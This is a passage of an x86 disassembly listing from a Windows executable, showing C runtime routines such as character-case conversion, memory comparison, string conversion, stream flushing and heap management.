sub_41DBD0+9Bj pop ebx pop esi pop edi retn 10h sub_41DBD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DC7A proc near ; CODE XREF: sub_4176E9+BFp ; sub_4176E9+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4E15B0 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41DCAE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41DD15 loc_41DC96: ; CODE XREF: sub_41DC7A+30j mov cl, [edx] cmp cl, 61h jl short loc_41DCA7 cmp cl, 7Ah jg short loc_41DCA7 sub cl, 20h mov [edx], cl loc_41DCA7: ; CODE XREF: sub_41DC7A+21j ; sub_41DC7A+26j inc edx cmp [edx], bl jnz short loc_41DC96 jmp short loc_41DD15 ; --------------------------------------------------------------------------- loc_41DCAE: ; CODE XREF: sub_41DC7A+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call loc_4229BB mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41DD07 push edi call sub_41BBCB cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41DD07 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4E15B0 call loc_4229BB add esp, 20h test eax, eax jz short loc_41DD07 push [ebp+var_4] push [ebp+arg_0] call sub_41C550 pop ecx pop ecx loc_41DD07: ; CODE XREF: sub_41DC7A+53j ; sub_41DC7A+61j ... push [ebp+var_4] call sub_41B961 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41DD15: ; CODE XREF: sub_41DC7A+1Aj ; sub_41DC7A+32j pop ebx leave retn sub_41DC7A endp ; =============== S U B R O U T I N E ======================================= sub_41DD18 proc near ; CODE XREF: sub_4180E3+1A8p arg_0 = dword ptr 4 cmp dword_44276C, 1 jle short loc_41DD2F push 4 push [esp+4+arg_0] call sub_41F37A pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DD2F: ; CODE XREF: sub_41DD18+7j mov eax, [esp+arg_0] mov ecx, off_442560 mov al, [ecx+eax*2] and eax, 4 retn sub_41DD18 endp ; =============== S U B R O U T I N E ======================================= sub_41DD40 proc near ; CODE XREF: sub_420375+76p ; sub_420375+88p ... arg_0 = dword ptr 4 cmp dword_44276C, 1 jle short loc_41DD57 push 8 push [esp+4+arg_0] call sub_41F37A pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DD57: ; CODE XREF: sub_41DD40+7j mov eax, [esp+arg_0] mov ecx, off_442560 mov al, [ecx+eax*2] and eax, 8 retn sub_41DD40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DD70 proc near ; CODE XREF: sub_4184F4+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41DDBC mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41DDBD test eax, 1 jz short loc_41DD9D mov cl, [esi] cmp cl, [edi] jnz short loc_41DDEA inc esi inc edi dec eax jz short loc_41DDBA loc_41DD9D: ; CODE XREF: sub_41DD70+20j ; sub_41DD70+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41DDEA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41DDEA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41DD9D loc_41DDBA: ; CODE XREF: sub_41DD70+2Bj ; sub_41DD70+84j pop edi pop esi locret_41DDBC: ; CODE XREF: sub_41DD70+6j retn ; --------------------------------------------------------------------------- loc_41DDBD: ; CODE XREF: sub_41DD70+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41DDF2 repe cmpsd jz short loc_41DDF2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41DDE5 cmp ch, dh jnz short loc_41DDE5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41DDE5 cmp ch, dh loc_41DDE5: ; CODE XREF: sub_41DD70+63j ; sub_41DD70+67j ... mov eax, 0 loc_41DDEA: ; CODE XREF: sub_41DD70+26j ; sub_41DD70+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DDF2: ; CODE XREF: sub_41DD70+55j ; sub_41DD70+59j test eax, eax jz short loc_41DDBA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41DDE5 dec eax jz short loc_41DE19 cmp dh, ch jnz short loc_41DDE5 dec eax jz short loc_41DE19 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41DDE5 dec eax loc_41DE19: ; CODE XREF: sub_41DD70+8Fj ; sub_41DD70+96j pop edi pop esi retn sub_41DD70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DE1C proc near ; CODE XREF: sub_418814+6p ; sub_418832+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4E15B0, 0 push ebx push esi push edi jnz short loc_41DE49 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41DEE2 cmp eax, 5Ah jg loc_41DEE2 add eax, 20h jmp loc_41DEE2 ; --------------------------------------------------------------------------- loc_41DE49: ; CODE XREF: sub_41DE1C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41DE7D cmp dword_44276C, esi jle short loc_41DE6B push esi push ebx call sub_41F37A pop ecx pop ecx jmp short loc_41DE75 ; --------------------------------------------------------------------------- loc_41DE6B: ; CODE XREF: sub_41DE1C+42j mov eax, off_442560 mov al, [eax+ebx*2] and eax, esi loc_41DE75: ; CODE XREF: sub_41DE1C+4Dj test eax, eax jnz short loc_41DE7D loc_41DE79: ; CODE XREF: sub_41DE1C+ADj mov eax, ebx jmp short loc_41DEE2 ; --------------------------------------------------------------------------- loc_41DE7D: ; CODE XREF: sub_41DE1C+3Aj ; sub_41DE1C+5Bj mov edx, off_442560 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41DEA1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41DEAA ; --------------------------------------------------------------------------- loc_41DEA1: ; CODE XREF: sub_41DE1C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41DEAA: ; CODE XREF: sub_41DE1C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4E15B0 call loc_4229BB add esp, 20h test eax, eax jz short loc_41DE79 cmp eax, esi jnz short loc_41DED5 movzx eax, [ebp+var_4] jmp short loc_41DEE2 ; --------------------------------------------------------------------------- loc_41DED5: ; CODE XREF: sub_41DE1C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41DEE2: ; CODE XREF: sub_41DE1C+16j ; sub_41DE1C+1Fj ... pop edi pop esi pop ebx leave retn sub_41DE1C endp ; =============== S U B R O U T I N E ======================================= sub_41DEE7 proc near ; CODE XREF: sub_418E3D+ADp ; .nsp0:00419E71p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41DEFE loc_41DEF4: ; CODE XREF: sub_41DEE7+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41DEF4 loc_41DEFE: ; CODE XREF: sub_41DEE7+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41DEE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DF04 proc near ; CODE XREF: sub_418E3D+7Fp ; sub_418E3D+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41DFD1 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41DFFE cmp dword_4E15B0, esi jnz short loc_41DF55 cmp edi, esi jbe loc_41DFFE loc_41DF34: ; CODE XREF: sub_41DF04+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41DFFE inc eax inc edx inc edx cmp eax, edi jb short loc_41DF34 jmp loc_41DFFE ; --------------------------------------------------------------------------- loc_41DF55: ; CODE XREF: sub_41DF04+26j mov ebx, [ebp+arg_4] mov esi, dword_427184 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4E15C0 call esi ; dword_427184 test eax, eax jnz loc_41DFFD call dword_42708C ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_41DF8F loc_41DF80: ; CODE XREF: sub_41DF04+CBj ; sub_41DF04+F7j mov dword_4E14F8, 2Ah or eax, 0FFFFFFFFh jmp short loc_41DFFE ; --------------------------------------------------------------------------- loc_41DF8F: ; CODE XREF: sub_41DF04+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41DF97: ; CODE XREF: sub_41DF04+B3j mov cl, [eax] test cl, cl jz short loc_41DFB9 mov edx, off_442560 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41DFAE inc eax loc_41DFAE: ; CODE XREF: sub_41DF04+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41DF97 loc_41DFB9: ; CODE XREF: sub_41DF04+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4E15C0 call esi ; dword_427184 test eax, eax jnz short loc_41DFFE jmp short loc_41DF80 ; --------------------------------------------------------------------------- loc_41DFD1: ; CODE XREF: sub_41DF04+Fj cmp dword_4E15B0, esi jnz short loc_41DFE4 push [ebp+arg_4] call sub_41B890 pop ecx jmp short loc_41DFFE ; --------------------------------------------------------------------------- loc_41DFE4: ; CODE XREF: sub_41DF04+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4E15C0 call dword_427184 ; MultiByteToWideChar cmp eax, esi jz short loc_41DF80 loc_41DFFD: ; CODE XREF: sub_41DF04+6Bj dec eax loc_41DFFE: ; CODE XREF: sub_41DF04+1Aj ; sub_41DF04+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41DF04 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427720 push offset sub_4233D4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call dword_4271B4 ; GetVersion xor edx, edx mov dl, ah mov dword_4E1510, edx mov ecx, eax and ecx, 0FFh mov dword_4E150C, ecx shl ecx, 8 add ecx, edx mov dword_4E1508, ecx shr eax, 10h mov dword_4E1504, eax xor esi, esi push esi call sub_41E32D pop ecx test eax, eax jnz short loc_41E06F push 1Ch call sub_41E11E pop ecx loc_41E06F: ; CODE XREF: .nsp0:0041E065j mov [ebp-4], esi call loc_42321E call near ptr 0B40000h xchg eax, edx mov dword_4E2B84, eax call sub_4230EC mov dword_4E1568, eax call sub_422E9F ; --------------------------------------------------------------------------- dd offset dword_4D50E8 align 2 dw 99E8h dd 89FFFFDDh, 458DD075h, 59E850A4h, 8200721Fh, 4CE1E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 1F36E856h, 50E40072h, 0FE3184E8h, 0A04589FFh dd 0DD87E850h, 458BFFFFh, 8B088BECh, 984D8909h, 1FE85150h dd 5900004Bh, 658BC359h, 9875FFE8h, 0FFDD79E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41E0F9 proc near ; CODE XREF: sub_41D6F2+16p ; sub_422563+4Dp ... arg_0 = dword ptr 4 cmp dword_4E1570, 1 jnz short loc_41E107 call sub_4234AC loc_41E107: ; CODE XREF: sub_41E0F9+7j push [esp+arg_0] call sub_4234E5 push 0FFh call off_442550 pop ecx pop ecx retn sub_41E0F9 endp ; =============== S U B R O U T I N E ======================================= sub_41E11E proc near ; CODE XREF: .nsp0:0041E069p arg_0 = dword ptr 4 cmp dword_4E1570, 1 jnz short loc_41E12C call sub_4234AC loc_41E12C: ; CODE XREF: sub_41E11E+7j push [esp+arg_0] call sub_4234E5 pop ecx push 0FFh call dword_427068 ; ExitProcess retn sub_41E11E endp ; =============== S U B R O U T I N E ======================================= sub_41E142 proc near ; CODE XREF: sub_41B90B+2Ap ; sub_423896+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4E1920 jnb loc_41E1DC mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4E1820h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41E1DC push edi call sub_4237BE cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E1BB cmp edi, 1 jz short loc_41E189 cmp edi, 2 jnz short loc_41E19F loc_41E189: ; CODE XREF: sub_41E142+40j push 2 call sub_4237BE push 1 mov ebp, eax call sub_4237BE pop ecx cmp eax, ebp pop ecx jz short loc_41E1BB loc_41E19F: ; CODE XREF: sub_41E142+45j push edi call sub_4237BE pop ecx push eax call dword_42706C ; CloseHandle test eax, eax jnz short loc_41E1BB call dword_42708C ; RtlGetLastWin32Error mov ebp, eax jmp short loc_41E1BD ; --------------------------------------------------------------------------- loc_41E1BB: ; CODE XREF: sub_41E142+3Bj ; sub_41E142+5Bj ... xor ebp, ebp loc_41E1BD: ; CODE XREF: sub_41E142+77j push edi call sub_423744 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41E1D8 push ebp call sub_420244 pop ecx jmp short loc_41E1ED ; --------------------------------------------------------------------------- loc_41E1D8: ; CODE XREF: sub_41E142+8Bj xor eax, eax jmp short loc_41E1F0 ; --------------------------------------------------------------------------- loc_41E1DC: ; CODE XREF: sub_41E142+Ej ; sub_41E142+2Fj and dword_4E14FC, 0 mov dword_4E14F8, 9 loc_41E1ED: ; CODE XREF: sub_41E142+94j or eax, 0FFFFFFFFh loc_41E1F0: ; CODE XREF: sub_41E142+98j pop edi pop esi pop ebp pop ebx retn sub_41E142 endp ; =============== S U B R O U T I N E ======================================= sub_41E1F5 proc near ; CODE XREF: sub_41B90B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41E21E test al, 8 jz short loc_41E21E push dword ptr [esi+8] call sub_41B961 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41E21E: ; CODE XREF: sub_41E1F5+Aj ; sub_41E1F5+Ej pop esi retn sub_41E1F5 endp ; =============== S U B R O U T I N E ======================================= sub_41E220 proc near ; CODE XREF: sub_41E2C0+2Dp ; sub_41E2C0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41E232 push esi call sub_41E2C0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E232: ; CODE XREF: sub_41E220+7j push esi call sub_41E25B test eax, eax pop ecx jz short loc_41E242 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E242: ; CODE XREF: sub_41E220+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41E257 push dword ptr [esi+10h] call sub_4237FB neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41E257: ; CODE XREF: sub_41E220+26j xor eax, eax pop esi retn sub_41E220 endp ; =============== S U B R O U T I N E ======================================= sub_41E25B proc near ; CODE XREF: sub_41B90B+1Ap ; .nsp0:0041D8F4p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41E2A8 test ax, 108h jz short loc_41E2A8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41E2A8 push edi push eax push dword ptr [esi+10h] call sub_42280E add esp, 0Ch cmp eax, edi jnz short loc_41E2A1 mov eax, [esi+0Ch] test al, 80h jz short loc_41E2A8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41E2A8 ; --------------------------------------------------------------------------- loc_41E2A1: ; CODE XREF: sub_41E25B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41E2A8: ; CODE XREF: sub_41E25B+14j ; sub_41E25B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41E25B endp ; =============== S U B R O U T I N E ======================================= sub_41E2B7 proc near ; CODE XREF: sub_422608p push 1 call sub_41E2C0 pop ecx retn sub_41E2B7 endp ; =============== S U B R O U T I N E ======================================= sub_41E2C0 proc near ; CODE XREF: sub_41E220+Ap ; sub_41E2B7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4E2940, esi jle short loc_41E31E loc_41E2D1: ; CODE XREF: sub_41E2C0+5Cj mov eax, dword_4E1924 mov eax, [eax+esi*4] test eax, eax jz short loc_41E315 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41E315 cmp [esp+0Ch+arg_0], 1 jnz short loc_41E2FB push eax call sub_41E220 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E315 inc ebx jmp short loc_41E315 ; --------------------------------------------------------------------------- loc_41E2FB: ; CODE XREF: sub_41E2C0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41E315 test cl, 2 jz short loc_41E315 push eax call sub_41E220 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E315 or edi, eax loc_41E315: ; CODE XREF: sub_41E2C0+1Bj ; sub_41E2C0+23j ... inc esi cmp esi, dword_4E2940 jl short loc_41E2D1 loc_41E31E: ; CODE XREF: sub_41E2C0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41E329 mov eax, edi loc_41E329: ; CODE XREF: sub_41E2C0+65j pop edi pop esi pop ebx retn sub_41E2C0 endp ; =============== S U B R O U T I N E ======================================= sub_41E32D proc near ; CODE XREF: .nsp0:0041E05Dp arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_4271BC ; HeapCreate test eax, eax mov dword_4E2B80, eax jz short loc_41E362 call sub_41E369 test eax, eax jnz short loc_41E365 push dword_4E2B80 call dword_4271B8 ; HeapDestroy loc_41E362: ; CODE XREF: sub_41E32D+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41E365: ; CODE XREF: sub_41E32D+27j push 1 pop eax retn sub_41E32D endp ; =============== S U B R O U T I N E ======================================= sub_41E369 proc near ; CODE XREF: sub_41E32D+20p push 140h push 0 push dword_4E2B80 call dword_427148 ; RtlAllocateHeap test eax, eax mov dword_4E2B7C, eax jnz short loc_41E386 retn ; --------------------------------------------------------------------------- loc_41E386: ; CODE XREF: sub_41E369+1Aj and dword_4E2B74, 0 and dword_4E2B78, 0 push 1 mov dword_4E2B70, eax mov dword_4E2B68, 10h pop eax retn sub_41E369 endp ; =============== S U B R O U T I N E ======================================= sub_41E3A7 proc near ; CODE XREF: sub_41B961+Ap ; sub_41BA78+3Dp ... arg_0 = dword ptr 4 mov eax, dword_4E2B78 lea ecx, [eax+eax*4] mov eax, dword_4E2B7C lea ecx, [eax+ecx*4] loc_41E3B7: ; CODE XREF: sub_41E3A7+26j cmp eax, ecx jnb short loc_41E3CF mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41E3D1 add eax, 14h jmp short loc_41E3B7 ; --------------------------------------------------------------------------- loc_41E3CF: ; CODE XREF: sub_41E3A7+12j xor eax, eax locret_41E3D1: ; CODE XREF: sub_41E3A7+21j retn sub_41E3A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E3D2 proc near ; CODE XREF: sub_41B961+16p ; sub_41BA78+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_41E498 sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_41E42A mov [ebp+arg_4], edi loc_41E42A: ; CODE XREF: sub_41E3D2+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_41E47C mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_41E458 mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_41E47C mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_41E47C ; --------------------------------------------------------------------------- loc_41E458: ; CODE XREF: sub_41E3D2+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_41E47C mov ecx, [ebp+arg_0] and [ecx+4], edi loc_41E47C: ; CODE XREF: sub_41E3D2+60j ; sub_41E3D2+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_41E498: ; CODE XREF: sub_41E3D2+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_41E4A6 push 3Fh pop edi loc_41E4A6: ; CODE XREF: sub_41E3D2+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_41E555 sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_41E4D1 mov [ebp+arg_4], edx mov ecx, edx loc_41E4D1: ; CODE XREF: sub_41E3D2+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_41E4E3 mov edi, edx loc_41E4E3: ; CODE XREF: sub_41E3D2+10Dj cmp ecx, edi jz short loc_41E552 mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_41E53A mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_41E516 mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_41E53A mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_41E53A ; --------------------------------------------------------------------------- loc_41E516: ; CODE XREF: sub_41E3D2+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_41E53A mov ecx, [ebp+arg_0] and [ecx+4], edx loc_41E53A: ; CODE XREF: sub_41E3D2+11Ej ; sub_41E3D2+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_41E552: ; CODE XREF: sub_41E3D2+113j mov edx, [ebp+var_8] loc_41E555: ; CODE XREF: sub_41E3D2+DDj cmp [ebp+var_14], 0 jnz short loc_41E564 cmp [ebp+arg_4], edi jz loc_41E5ED loc_41E564: ; CODE XREF: sub_41E3D2+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E5ED mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E5C1 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E5B0 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E5B0: ; CODE XREF: sub_41E3D2+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_41E5EA ; --------------------------------------------------------------------------- loc_41E5C1: ; CODE XREF: sub_41E3D2+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E5D7 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E5D7: ; CODE XREF: sub_41E3D2+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_41E5EA: ; CODE XREF: sub_41E3D2+1EDj mov ebx, [ebp+var_C] loc_41E5ED: ; CODE XREF: sub_41E3D2+18Cj ; sub_41E3D2+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_41E6F8 mov eax, dword_4E2B74 test eax, eax jz loc_41E6EA mov ecx, dword_4E2B6C mov edi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi ; dword_4271C0 mov ecx, dword_4E2B6C mov eax, dword_4E2B74 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4E2B74 mov ecx, dword_4E2B6C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4E2B74 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4E2B74 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E678 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4E2B74 loc_41E678: ; CODE XREF: sub_41E3D2+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E6EA push ebx push 0 push dword ptr [eax+0Ch] call edi ; dword_4271C0 mov eax, dword_4E2B74 push dword ptr [eax+10h] push 0 push dword_4E2B80 call dword_427144 ; RtlFreeHeap mov eax, dword_4E2B78 mov edx, dword_4E2B7C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4E2B74 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41D330 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4E2B78 cmp eax, dword_4E2B74 jbe short loc_41E6DC sub eax, 14h loc_41E6DC: ; CODE XREF: sub_41E3D2+305j mov ecx, dword_4E2B7C mov dword_4E2B70, ecx jmp short loc_41E6ED ; --------------------------------------------------------------------------- loc_41E6EA: ; CODE XREF: sub_41E3D2+233j ; sub_41E3D2+2AAj mov eax, [ebp+arg_0] loc_41E6ED: ; CODE XREF: sub_41E3D2+316j mov dword_4E2B74, eax mov dword_4E2B6C, esi loc_41E6F8: ; CODE XREF: sub_41E3D2+226j pop edi pop esi pop ebx leave retn sub_41E3D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E6FD proc near ; CODE XREF: sub_41BA78+69p ; sub_41BC09+Ep ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4E2B78 mov edx, dword_4E2B7C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E73D or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E74D ; --------------------------------------------------------------------------- loc_41E73D: ; CODE XREF: sub_41E6FD+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E74D: ; CODE XREF: sub_41E6FD+3Ej mov eax, dword_4E2B70 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E774 loc_41E75B: ; CODE XREF: sub_41E6FD+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E774 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E75B loc_41E774: ; CODE XREF: sub_41E6FD+5Cj ; 